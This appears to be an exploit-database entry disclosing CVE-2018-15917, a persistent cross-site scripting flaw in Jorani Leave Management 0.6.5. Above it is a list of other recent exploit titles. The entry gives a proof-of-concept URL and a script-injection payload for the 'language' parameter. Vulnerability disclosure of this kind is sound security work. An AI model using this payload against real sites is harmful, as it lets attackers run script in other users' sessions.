8379495e8e
10 changes to exploits/shellcodes Cisco Umbrella Roaming Client 2.0.168 - Privilege Escalation FUJI XEROX DocuCentre-V 3065 Printer - Remote Command Execution NovaRad NovaPACS Diagnostics Viewer 8.5 - XML External Entity Injection (File Disclosure) Tenda ADSL Router D152 - Cross-Site Scripting Jorani Leave Management 0.6.5 - Cross-Site Scripting Jorani Leave Management 0.6.5 - 'startdate' SQL Injection Apache Roller 5.0.3 - XML External Entity Injection (File Disclosure) WirelessHART Fieldgate SWG70 3.0 - Directory Traversal Online Quiz Maker 1.0 - 'catid' SQL Injection Logicspice FAQ Script 2.9.7 - Remote Code Execution PHP File Browser Script 1 - Directory Traversal Online Quiz Maker 1.0 - 'catid' SQL Injection D-Link Dir-600M N150 - Cross-Site Scripting Logicspice FAQ Script 2.9.7 - Remote Code Execution PHP File Browser Script 1 - Directory Traversal
27 lines
No EOL
1.1 KiB
Text
27 lines
No EOL
1.1 KiB
Text
# Exploit Title: Jorani Leave Management System 0.6.5 – Cross-Site Scripting
|
||
# Exploit Author: Javier Olmedo
|
||
# Website: https://hackpuntes.com
|
||
# Date: 2018-09-06
|
||
# Google Dork: N/A
|
||
# Vendor: Benjamin BALET
|
||
# Software Link: https://jorani.org/download.html
|
||
# Affected Version: 0.6.5 and possibly before
|
||
# Patched Version: unpatched
|
||
# Category: Web Application
|
||
# Platform: Windows
|
||
# Tested on: Win10x64 & Kali Linux
|
||
# CVE: 2018-15917
|
||
|
||
# 1. Technical Description:
|
||
# Language parameter is vulnerable to Persistent Cross-Site Scripting (XSS) attacks through
|
||
# a GET request in which the values are stored in the user session.
|
||
|
||
# 2. Proof Of Concept (PoC):
|
||
# Go to http://localhost/session/language?last_page=session%2Flogin&language=en%22%3E%3Cscript%3Ealert(%27PoC%20CVE-2018-15917%27)%3C%2Fscript%3E&login=&CipheredValue=
|
||
|
||
# 3. Payload:
|
||
# en"><script>alert('PoC CVE-2018-15917')</script>
|
||
|
||
# 6. Reference:
|
||
# https://hackpuntes.com/cve-2018-15917-jorani-leave-management-system-0-6-5-cross-site-scripting-persistente/
|
||
# https://github.com/bbalet/jorani/issues/254 |